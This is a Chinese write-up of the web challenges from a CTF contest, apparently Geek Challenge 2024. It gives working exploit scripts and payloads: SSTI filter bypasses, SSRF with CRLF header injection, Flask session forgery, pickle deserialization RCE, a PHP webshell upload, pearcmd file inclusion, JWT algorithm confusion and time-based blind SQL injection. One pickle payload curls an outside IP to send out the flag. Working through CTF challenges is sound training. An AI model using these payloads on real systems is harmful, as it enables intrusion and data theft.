第十五届巅峰极客wp_web部分
队伍总排名第13名,感谢好友pwn✌YX-hueimie带飞
Problem_On_My_Web
/forms路由存在xss毛病
此时Alert text:123
猜测cookie为flag
测试留言:
Can_you_Pass_Me
ssti模板注入
过滤内容:
- {{,set,__globals__,os,popen,read,flag,+,base64,/等
复制代码 使用嵌套的with语句预处理命令字符串
通过join过滤器拼接被过滤的关键字
使用八进制编码绕过flag关键字
得出payload
- {% with p = (('po','pen')|join) %}
- {% with r = (('re','ad')|join) %}
- {% print (url_for|attr(('__glo','bals__')|join)).pop(('o','s')|join)|attr(p)('cat $(printf "\\57\\146\\154\\141\\147") | rev')|attr(r)() %}
- {% endwith %}
- {% endwith %}
复制代码 运行之后
尝试cat app.py发现会对输出的内容做过滤 将内容进行base64编码,大概rev反转
cat $(printf “\57\146\154\141\147”)|rev
再反转:
- ┌──(root?ser724909388411)-[~]
- └─# echo "}fa673cac9363-3f48-c154-db4b-0e190bde{CYS" | rev
- SYC{edb091e0-b4bd-451c-84f3-3639cac376af}
复制代码 ez_SSRF
dirsearch -u 80-bbd25b5c-857e-4319-802e-22386c960ee7.challenge.ctfplus.cn
得www.zip
- h4d333333.php
- <?php
- error_reporting(0);
- if(!isset($_POST['user'])){
- $user="stranger";
- }else{
- $user=$_POST['user'];
- }
- if (isset($_GET['location'])) {
- echo 233;
- $location=$_GET['location'];
- $client=new SoapClient(null,array(
- "location"=>$location,
- "uri"=>"hahaha",
- "login"=>"guest",
- "password"=>"gueeeeest!!!!",
- "user_agent"=>$user."'s Chrome"));
- $client->calculator();
- echo file_get_contents("result");
- }else{
- echo "Please give me a location";
- }
- calculator.php
- <?php
- $admin="aaaaaaaaaaaadmin";
- $adminpass="i_want_to_getI00_inMyT3st";
- function check($auth) {
- global $admin,$adminpass;
- $auth = str_replace('Basic ', '', $auth);
- $auth = base64_decode($auth);
- list($username, $password) = explode(':', $auth);
- echo $username."<br>".$password;
- if($username===$admin && $password===$adminpass) {
- return 1;
- }else{
- return 2;
- }
- }
- if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
- exit("Hacker");
- }
- $expression = $_POST['expression'];
- $auth=$_SERVER['HTTP_AUTHORIZATION'];
- if(isset($auth)){
- if (check($auth)===2) {
- if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
- die("Invalid expression");
- }else{
- $result=eval("return $expression;");
- file_put_contents("result",$result);
- }
- }else{
- $result=eval("return $expression;");
- file_put_contents("result",$result);
- }
- }else{
- exit("Hacker");
- }
复制代码 分析:
ssrf毛病:
h4d333333.php文件答应我们通过location参数指定一个URL,然后使用SoapClient类访问该URL。
通过将location参数设置为http://127.0.0.1/calculator.php,我们可以让服务器请求其本地的calculator.php文件。
CRLF注入:
user参数的值被用作SoapClient的user_agent,这意味着我们可以通过CRLF注入来伪造HTTP请求头。
通过在user参数中注入CRLF,我们可以插入自界说的HTTP头,例如Authorization,以便通过calculator.php中的认证检查。
通过CRLF注入伪造Authorization头,使用题目中提供的用户名和密码进行认证。
实行点:calculator.php中答应我们通过expression参数通报一个数学表达式,并使用eval函数实行。
exp:
- import requests
- from base64 import b64encode
- # 目标URL
- url = "http://80-bbd25b5c-857e-4319-802e-22386c960ee7.challenge.ctfplus.cn/h4d333333.php"
- # 构造Authorization头
- username = "aaaaaaaaaaaadmin"
- password = "i_want_to_getI00_inMyT3st"
- auth = f"{username}:{password}"
- auth_encoded = b64encode(auth.encode()).decode()
- # 构造POST数据
- post_data = {
- "user": f"film\r\nAuthorization: Basic {auth_encoded}\r\nContent-Length: 39\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nexpression=system('cat /flag > aaaa.txt');\r\n"
- }
- # 发送GET请求以设置location
- get_params = {
- "location": "http://127.0.0.1/calculator.php"
- }
- # 发送请求
- response = requests.post(url, params=get_params, data=post_data)
- # 打印响应
- print(response.text)
复制代码 再访问aaaa.txt获取flag
py_game
注册登录

发现flask尝试flaski的session伪造(https://www.cnblogs.com/meraklbz/p/18280537)
flask-unsign --unsign --cookie “eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4xIn0.Zzs8Tw.9DFFwMpJwI5t4Nx1idVCj2C-_Jw”
secret_key破解session:得到’a123456’
flask-unsign --sign --secret “a123456” --cookie “{‘_flashes’: [(‘success’, ‘登录成功’)], ‘username’: ‘admin’}”
伪造admin登录
得到源码在线反编译pyc
- # uncompyle6 version 3.9.2
- # Python bytecode version base 3.6 (3379)
- # Decompiled from: Python 3.8.10 (default, Sep 11 2024, 16:02:53)
- # [GCC 9.4.0]
- # Embedded file name: ./tempdata/1f9adc12-c6f3-4a8a-9054-aa3792d2ac2e.py
- # Compiled at: 2024-11-01 17:37:26
- # Size of source mod 2**32: 5558 bytes
- import json
- from lxml import etree
- from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
- app = Flask(__name__)
- app.secret_key = "a123456"
- app.config["xml_data"] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'
- class User:
- def __init__(self, username, password):
- self.username = username
- self.password = password
- def check(self, data):
- return self.username == data["username"] and self.password == data["password"]
- admin = User("admin", "123456j1rrynonono")
- Users = [admin]
- def update(src, dst):
- for k, v in src.items():
- if hasattr(dst, "__getitem__"):
- if dst.get(k):
- if isinstance(v, dict):
- update(v, dst.get(k))
- dst[k] = v
- elif hasattr(dst, k) and isinstance(v, dict):
- update(v, getattr(dst, k))
- else:
- setattr(dst, k, v)
- @app.route("/register", methods=["GET", "POST"])
- def register():
- if request.method == "POST":
- username = request.form["username"]
- password = request.form["password"]
- for u in Users:
- if u.username == username:
- flash("用户名已存在", "error")
- return redirect(url_for("register"))
- new_user = User(username, password)
- Users.append(new_user)
- flash("注册成功!请登录", "success")
- return redirect(url_for("login"))
- else:
- return render_template("register.html")
- @app.route("/login", methods=["GET", "POST"])
- def login():
- if request.method == "POST":
- username = request.form["username"]
- password = request.form["password"]
- for u in Users:
- if u.check({'username':username, 'password':password}):
- session["username"] = username
- flash("登录成功", "success")
- return redirect(url_for("dashboard"))
- flash("用户名或密码错误", "error")
- return redirect(url_for("login"))
- else:
- return render_template("login.html")
- @app.route("/play", methods=["GET", "POST"])
- def play():
- if "username" in session:
- with open("/app/templates/play.html", "r", encoding="utf-8") as file:
- play_html = file.read()
- return play_html
- else:
- flash("请先登录", "error")
- return redirect(url_for("login"))
- @app.route("/admin", methods=["GET", "POST"])
- def admin():
- if "username" in session:
- if session["username"] == "admin":
- return render_template("admin.html", username=(session["username"]))
- flash("你没有权限访问", "error")
- return redirect(url_for("login"))
- @app.route("/downloads321")
- def downloads321():
- return send_file("./source/app.pyc", as_attachment=True)
- @app.route("/")
- def index():
- return render_template("index.html")
- @app.route("/dashboard")
- def dashboard():
- if "username" in session:
- is_admin = session["username"] == "admin"
- if is_admin:
- user_tag = "Admin User"
- else:
- user_tag = "Normal User"
- return render_template("dashboard.html", username=(session["username"]), tag=user_tag, is_admin=is_admin)
- else:
- flash("请先登录", "error")
- return redirect(url_for("login"))
- @app.route("/xml_parse")
- def xml_parse():
- try:
- xml_bytes = app.config["xml_data"].encode("utf-8")
- parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
- tree = etree.fromstring(xml_bytes, parser=parser)
- result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
- return Response(result_xml, mimetype="application/xml")
- except etree.XMLSyntaxError as e:
- return str(e)
- black_list = [
- "__class__".encode(), "__init__".encode(), "__globals__".encode()]
- def check(data):
- print(data)
- for i in black_list:
- print(i)
- if i in data:
- print(i)
- return False
- return True
- @app.route("/update", methods=["POST"])
- def update_route():
- if "username" in session:
- if session["username"] == "admin":
- if request.data:
- try:
- if not check(request.data):
- return ('NONONO, Bad Hacker', 403)
- else:
- data = json.loads(request.data.decode())
- print(data)
- if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()):
- update(data, User)
- return (jsonify({"message": "更新成功"}), 200)
- return ('Invalid character', 400)
- except Exception as e:
- return (
- f"Exception: {str(e)}", 500)
- else:
- return ('No data provided', 400)
- else:
- flash("你没有权限访问", "error")
- return redirect(url_for("login"))
- if __name__ == "__main__":
- app.run(host="0.0.0.0", port=80, debug=False)
复制代码 update路由存在python的原型链污染
json.loads()会对数据进行unicode解码全部unicode绕过即可


ez_python
注册登录访问/starven_s3cret得源码
- import os
- import secrets
- from flask import Flask, request, render_template_string, make_response, render_template, send_file
- import pickle
- import base64
- import black
- app = Flask(__name__)
- #To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
- @app.route('/')
- def index():
- return render_template_string(open('templates/index.html').read())
- @app.route('/register', methods=['GET', 'POST'])
- def register():
- if request.method == 'POST':
- usname = request.form['username']
- passwd = request.form['password']
- if usname and passwd:
- heart_cookie = secrets.token_hex(32)
- response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
- response.set_cookie('heart', heart_cookie)
- return response
- return render_template('register.html')
- @app.route('/login', methods=['GET', 'POST'])
- def login():
- heart_cookie = request.cookies.get('heart')
- if not heart_cookie:
- return render_template('warning.html')
- if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
- statement = request.form['statement']
- try:
- heal_state = base64.b64decode(statement)
- print(heal_state)
- for i in black.blacklist:
- if i in heal_state:
- return render_template('waf.html')
- pickle.loads(heal_state)
- res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
- flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
- os.system("echo " + flag + " > /flag")
- return res
- except Exception as e:
- print( e)
- pass
- return "Error!!!! give you hint: maybe you can view /starven_s3cret"
- return render_template('login.html')
- @app.route('/monologue',methods=['GET','POST'])
- def joker():
- return render_template('joker.html')
- @app.route('/starven_s3cret', methods=['GET', 'POST'])
- def secret():
- return send_file(__file__,as_attachment=True)
- if __name__ == '__main__':
- app.run(host='0.0.0.0', port=5000, debug=False)
复制代码 wp:
- import pickle
- import base64
- import requests
- # 目标URL
- url = "http://5000-3ce0e69f-74fe-4b5e-bbbd-fe04df5b6b58.challenge.ctfplus.cn/"
- def register_and_get_cookie():
- # 注册获取cookie
- register_data = {
- 'username': 'test',
- 'password': 'test'
- }
- r = requests.post(f"{url}/register", data=register_data)
- return r.cookies.get('heart')
- class Evil:
- def __reduce__(self):
- # 构造命令
- cmd = "curl 149.88.79.51:6226/`cat /flag`"
- return (eval, ("__import__('os').system('" + cmd + "')",))
- def create_payload():
- # 生成payload
- evil_pickle = pickle.dumps(Evil())
- return base64.b64encode(evil_pickle).decode()
- def exploit():
- # 1. 获取cookie
- heart_cookie = register_and_get_cookie()
- if not heart_cookie:
- print("Failed to get heart cookie")
- return
- # 2. 构造payload
- payload = create_payload()
- # 3. 发送攻击请求
- cookies = {'heart': heart_cookie}
- data = {'statement': payload}
- try:
- r = requests.post(f"{url}/login", cookies=cookies, data=data)
- print("Response:", r.text)
- except Exception as e:
- print("Error:", e)
- if __name__ == "__main__":
- exploit()
复制代码 无回显外带flag

baby_upload
非常简朴的一道文件上传题目只检测文件名中是否包罗了没有png,jpg字符
上传
a.png.php得到flag
- <?php echo `cat /flag`; ?>
复制代码 ez_include
- <?php
- highlight_file(__FILE__);
- require_once 'starven_secret.php';
- if(isset($_GET['file'])) {
- if(preg_match('/starven_secret.php/i', $_GET['file'])) {
- require_once $_GET['file'];
- }else{
- echo "还想非预期?";
- }
- }
复制代码 require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包罗过,假如是则不会再次包罗。
/proc/self指向当进步程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
- https://80-007ea987-3e44-4d3d-90af-48c2dc938fee.challenge.ctfplus.cn/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
复制代码- └─# echo "PD9waHANCiRzZWNyZXQgPSAiY29uZ3JhdHVsYXRpb24hIHlvdSBjYW4gZ290byAvbGV2ZWxsbGxsMi5waHAgdG8gY2FwdHVyZSB0aGUgZmxhZyEiOw0KPz4=" | base64 -d
- <?php
- $secret = "congratulation! you can goto /levelllll2.php to capture the flag!";
- ?>
复制代码 考察点pearcmd文件包罗
有过滤只能长途文件下载pearcmd
http://149.88.79.51:8000/starven_secret.php
先下载
- syc=/usr/local/lib/php/pearcmd&+tmp&+http://149.88.79.51:8000/starven_secret.php&file=/usr/local/lib/php/pearcmd.php
复制代码
然后在第一关处包罗
- http://80-007ea987-3e44-4d3d-90af-48c2dc938fee.challenge.ctfplus.cn/?file=/tmp/tmp/pear/download/starven_secret.php
复制代码
jwt_pickle
- import os
- import secrets
- from flask import Flask, request, render_template_string, make_response, render_template, send_file
- import pickle
- import base64
- import black
- app = Flask(__name__)
- #To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
- @app.route('/')
- def index():
- return render_template_string(open('templates/index.html').read())
- @app.route('/register', methods=['GET', 'POST'])
- def register():
- if request.method == 'POST':
- usname = request.form['username']
- passwd = request.form['password']
- if usname and passwd:
- heart_cookie = secrets.token_hex(32)
- response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
- response.set_cookie('heart', heart_cookie)
- return response
- return render_template('register.html')
- @app.route('/login', methods=['GET', 'POST'])
- def login():
- heart_cookie = request.cookies.get('heart')
- if not heart_cookie:
- return render_template('warning.html')
- if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
- statement = request.form['statement']
- try:
- heal_state = base64.b64decode(statement)
- print(heal_state)
- for i in black.blacklist:
- if i in heal_state:
- return render_template('waf.html')
- pickle.loads(heal_state)
- res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
- flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
- os.system("echo " + flag + " > /flag")
- return res
- except Exception as e:
- print( e)
- pass
- return "Error!!!! give you hint: maybe you can view /starven_s3cret"
- return render_template('login.html')
- @app.route('/monologue',methods=['GET','POST'])
- def joker():
- return render_template('joker.html')
- @app.route('/starven_s3cret', methods=['GET', 'POST'])
- def secret():
- return send_file(__file__,as_attachment=True)
- if __name__ == '__main__':
- app.run(host='0.0.0.0', port=5000, debug=False)
复制代码- # 签名使用RS256
- token = jwt.encode(ss, privateKey, algorithm='RS256')
- # 但验证时同时支持HS256和RS256
- real = jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])发现签名和解密的算法不一样
复制代码 # 1. 先注册两个账号获取两个合法的JWT token
# 2. 使用silentsignal/rsa_sign2n工具从两个token中提取公钥
docker run --rm -it portswigger/sig2n

重新签名wp
- import base64
- import pickle
- import os
- import hmac
- import hashlib
- import json
- # 1. 使用已知的RSA公钥
- public_key_b64 = "LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXQ4aUNvNEorQjhmeDNIaWxtcHQ0cTdpd0pUUFNDUHFlT2tHSUsvU1IxMFNKNmhyUE5ybW4KU3czQUszRkp0MW91V1ovNFBxUkIzS0QwOHZ4a01udnpqQWdwNW92MmljdUZVa0lva1NGZU1xd3hoVnJtdlovQwplTkpPK0ZwdXNUYWloTTdlMXl6M1lENlJCbnh3MjFQb2xDWVBkaDE2YU54VTRDeXNXNFFZTzJTVzZsWEFrZG1kCk9JYitsU2ZqYTRrNzdobEQwRm1Sb1Z6Wnc4eFpGTjdpaVJFUG1IcUQ2MEszWEw0ck8yMlBZQmdKM2F6SHh2THUKOCs3OThuenFtYXF5a0lPbjl2eFIyK3krZkRRcnBNblpCQUJ2aWk4SXpGdmgzWUgyT3BkQkhRWjhZZFE2ZzE5Wgpkb3JWNHllU2lBVzFadUNGTXJCUVEzNnBQWWRUQmwxZ0tRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K"
- public_key = base64.b64decode(public_key_b64)
- # 2. 构造恶意的pickle payload
- class RCE:
- def __reduce__(self):
- return (eval, ("__import__('os').popen('cat /flag').read()",))
- # 序列化payload
- evil_obj = RCE()
- evil_pickle = pickle.dumps(evil_obj)
- evil_b64 = base64.b64encode(evil_pickle).decode()
- # 3. 构造JWT header和payload
- header = {
- "typ": "JWT",
- "alg": "HS256"
- }
- payload = {
- "username": "admin2",
- "password": "e10adc3949ba59abbe56e057f20f883e",
- "is_admin": True,
- "introduction": evil_b64,
- "exp": 1731998853
- }
- # 4. Base64编码header和payload
- def base64url_encode(data):
- return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()
- header_b64 = base64url_encode(header)
- payload_b64 = base64url_encode(payload)
- # 5. 计算签名
- message = f"{header_b64}.{payload_b64}"
- signature = hmac.new(
- public_key,
- message.encode(),
- hashlib.sha256
- ).digest()
- signature_b64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
- # 6. 组合最终的token
- token = f"{header_b64}.{payload_b64}.{signature_b64}"
- print("生成的攻击token:")
- print(token)
- print("\n请求头:")
- print(f"Cookie: token={token}")
- # 保存token到文件
- with open('token.txt', 'w') as f:
- f.write(token)
复制代码 携带发送即可
100%的
检察js源代码
发现满意条件
base64解码
SecretInDrivingSchool
f12检察源代码,的登岸地点提示:
账号为4-16位数字大概英笔墨母
密码格式为三位字母+@chengxing
猜测用户名admin ,爆破得密码SYC@chengxing
恣意代码实行
rce_me
解题步调:
首先必要绕过第一个检查:
- if (!preg_match("/start.*now/is", $_POST["start"])) {
- if (strpos($_POST["start"], "start now") === false) {
- die("Well, you haven't started.<br>");
- }
- }
复制代码 可以使用数组绕过:
POST: start[]=anything
然后必要满意sha1和md5的比力:
- sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
- (string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
- is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
复制代码 由于md5(“Geekchallenge2024_bmKtL”)的值以0e开头,可以使用PHP弱类型比力,构造一个sha1值也是0e开头的数字字符串。
接下来必要绕过year的整数判定:
if (intval(KaTeX parse error: Expected 'EOF', got '&' at position 14: year) < 2024 &̲& intval(year + 1) > 2025)
这里可以使用整数溢出,构造一个很大的数字。
末了必要绕过purpose的检查:
- if (preg_match("/.+?rce/ism", $purpose)) {
- die("nonono");
- }
- if (stripos($purpose, "rce") === false) {
- die("nonononono");
- }
复制代码 可以使用大小写绕过,如"rCe"。
完整的Payload:
POST:start[]=anything__2024.geekchallenge.ctf=10932435112
GET:?year=2147483647&purpose=rCe&code=system(‘cat /flag’);
funnySQL
- 过滤了or,sleep,handler,and,=,ascii,rand,format,%0a,空格,information_schema
复制代码 页面无回显可以尝试盲注,报错注入这里只能时间盲注
information_schema被过滤这里由于数据库版本缘故原由这里只能爆破外貌数据库名,列名是我自己猜测的
这里的列名是猜测的为flag列名爆破不出来的由于information_schema被过滤,只能爆破外貌使用ysql.innodb_index_stats来绕过
个人常用的模板exp:
- import requests
- import time
- def blind_injection(target_type="database"):
- url = "http://80-a822b9bf-19cd-4f68-91fc-7c882b931ed7.challenge.ctfplus.cn/"
- result = ""
- pos = 1
- table_index = 0
- while True:
- found = False
- for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-{}":
- # 根据目标类型选择payload
- if target_type == "database":
- payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/if((substr(database()/*!*//*!*/,{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(300000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
- elif target_type == "table":
- payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/IF((substr((select/*!*//*!*/table_name/*!*//*!*/from/*!*//*!*/mysql.innodb_index_stats/*!*//*!*/where/*!*//*!*/database_name/*!*/like/*!*/database()/*!*//*!*/limit/*!*//*!*/{table_index},1),{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(3000000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
- elif target_type == "column":
- payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/IF((substr((select/*!*//*!*/column_name/*!*//*!*/from/*!*//*!*/information_schema.columns/*!*//*!*/where/*!*//*!*/table_name/*!*/like/*!*/'Rea11ys3ccccccr3333t'/*!*//*!*/limit/*!*//*!*/{table_index},1),{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(3000000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
- else: # flag
- payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/IF((substr((select/*!*//*!*/flag/*!*//*!*/from/*!*//*!*/Rea11ys3ccccccr3333t/*!*//*!*/limit/*!*//*!*/0,1),{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(3000000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
- params = {"username": payload}
- start_time = time.time()
- try:
- response = requests.get(url, params=params, timeout=10, proxies={
- "http": "192.168.164.1:8083"
- })
- elapsed_time = time.time() - start_time
- if elapsed_time > 0.8:
- result += char
- found = True
- if target_type == "database":
- print(f"数据库名称位置 {pos}: 发现字符 '{char}'")
- elif target_type == "table":
- print(f"表 {table_index}, 位置 {pos}: 发现字符 '{char}'")
- elif target_type == "column":
- print(f"列 {table_index}, 位置 {pos}: 发现字符 '{char}'")
- else:
- print(f"Flag 位置 {pos}: 发现字符 '{char}'")
- print(f"当前结果: {result}")
- break
- except requests.exceptions.Timeout:
- result += char
- found = True
- if target_type == "database":
- print(f"数据库名称位置 {pos}: 发现字符 '{char}' (超时)")
- elif target_type == "table":
- print(f"表 {table_index}, 位置 {pos}: 发现字符 '{char}' (超时)")
- elif target_type == "column":
- print(f"列 {table_index}, 位置 {pos}: 发现字符 '{char}' (超时)")
- else:
- print(f"Flag 位置 {pos}: 发现字符 '{char}' (超时)")
- print(f"当前结果: {result}")
- break
- except requests.exceptions.RequestException as e:
- print(f"发生错误: {e}")
- continue
- if not found:
- if target_type == "database":
- print(f"\n数据库名称: {result}")
- return result
- elif target_type in ["table", "column"]:
- print(f"\n{target_type} {table_index} 完成: {result}")
- if not result:
- break
- table_index += 1
- pos = 0
- result = ""
- else:
- print(f"\nFlag: {result}")
- return result
- pos += 1
- return result
- def main():
- while True:
- print("\n[+] 请选择要执行的操作:")
- print("1. 爆破数据库名")
- print("2. 爆破表名")
- print("3. 爆破列名")
- print("4. 爆破flag")
- print("5. 执行所有操作")
- print("0. 退出")
- choice = input("\n请输入选项 (0-5): ").strip()
- if choice == "0":
- print("\n[+] 程序退出")
- break
- elif choice == "1":
- print("\n[+] 开始枚举数据库名称...")
- database = blind_injection("database")
- print(f"[+] 最终数据库名称: {database}")
- elif choice == "2":
- print("\n[+] 开始枚举表名...")
- tables = blind_injection("table")
- print(f"[+] 表名枚举完成")
- elif choice == "3":
- print("\n[+] 开始枚举列名...")
- columns = blind_injection("column")
- print(f"[+] 列名枚举完成")
- elif choice == "4":
- print("\n[+] 开始爆破flag...")
- flag = blind_injection("flag")
- print(f"[+] 最终flag: {flag}")
- elif choice == "5":
- print("\n[+] 开始执行所有操作...")
- print("\n[+] 开始枚举数据库名称...")
- database = blind_injection("database")
- print(f"[+] 最终数据库名称: {database}")
- print("\n[+] 开始枚举表名...")
- tables = blind_injection("table")
- print(f"[+] 表名枚举完成")
- print("\n[+] 开始枚举列名...")
- columns = blind_injection("column")
- print(f"[+] 列名枚举完成")
- print("\n[+] 开始爆破flag...")
- flag = blind_injection("flag")
- print(f"[+] 最终flag: {flag}")
- else:
- print("\n[-] 无效的选项,请重新输入")
- input("\n按回车键继续...")
- if __name__ == "__main__":
- try:
- main()
- except KeyboardInterrupt:
- print("\n\n[+] 程序被用户中断")
- except Exception as e:
- print(f"\n[-] 发生错误: {e}")
复制代码 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |